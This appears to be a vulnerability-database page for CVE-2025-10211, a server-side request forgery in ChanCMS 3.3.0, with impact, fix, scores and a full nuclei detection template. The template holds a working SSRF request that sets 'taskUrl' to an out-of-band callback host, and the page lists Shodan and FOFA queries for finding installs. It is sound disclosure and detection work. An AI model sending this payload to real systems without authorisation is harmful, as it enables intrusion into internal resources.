HexBrain

Browse / CVEs / CVE-2025-10211

CVE-2025-10211· CWE-918

ChanCMS <= 3.3.0 - Server-Side Request Forgery

mediumseverity
6.3CVSS score
0.8%likelihood of exploitation, next 30 days
55%of all CVEs are less likely
Readycheck to confirm it

yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the "taskUrl" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.

Impact

Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.

Fix

Update to the latest version of ChanCMS.

How to confirm it

Send: POST {{BaseURL}}/cms/collect/getArticle
Positive when: contains(interactsh_protocol, 'dns') and contains_all(response, 'success','article') and status_code == 200

Run it with nuclei: nuclei -id CVE-2025-10211 -u <target>

The full check
id: CVE-2025-10211

info:
  name: ChanCMS <= 3.3.0 - Server-Side Request Forgery
  author: Yu_Bao
  severity: medium
  description: |
    yanyutao0402 ChanCMS 3.3.0 contains a server-side request forgery caused by manipulation of the "taskUrl" argument in /cms/collect/getArticle, letting remote attackers make arbitrary requests, exploit requires no special privileges.
  impact: |
    Remote attackers can make arbitrary requests from the server, potentially accessing internal resources or sensitive data.
  remediation: |
    Update to the latest version of ChanCMS.
  reference:
    - https://gitee.com/yanyutao0402/ChanCMS
    - https://vuldb.com/?id.323484
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
    cvss-score: 6.3
    cve-id: CVE-2025-10211
    epss-score: 0.0075
    epss-percentile: 0.55303
    cwe-id: CWE-918
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.html:"ChanCMS"
    fofa-query: body="ChanCMS"
  tags: cve,cve2025,chancms,ssrf,oast,oob,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/cms/collect/getArticle"

    headers:
      Content-Type: application/json

    body: |
      {
        "taskUrl": "http://{{interactsh-url}}",
        "titleTag": "title",
        "articleTag": "body",
        "parseData": "return data;"
      }

    matchers:
      - type: dsl
        dsl:
          - contains(interactsh_protocol, 'dns')
          - contains_all(response, 'success','article')
          - status_code == 200
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from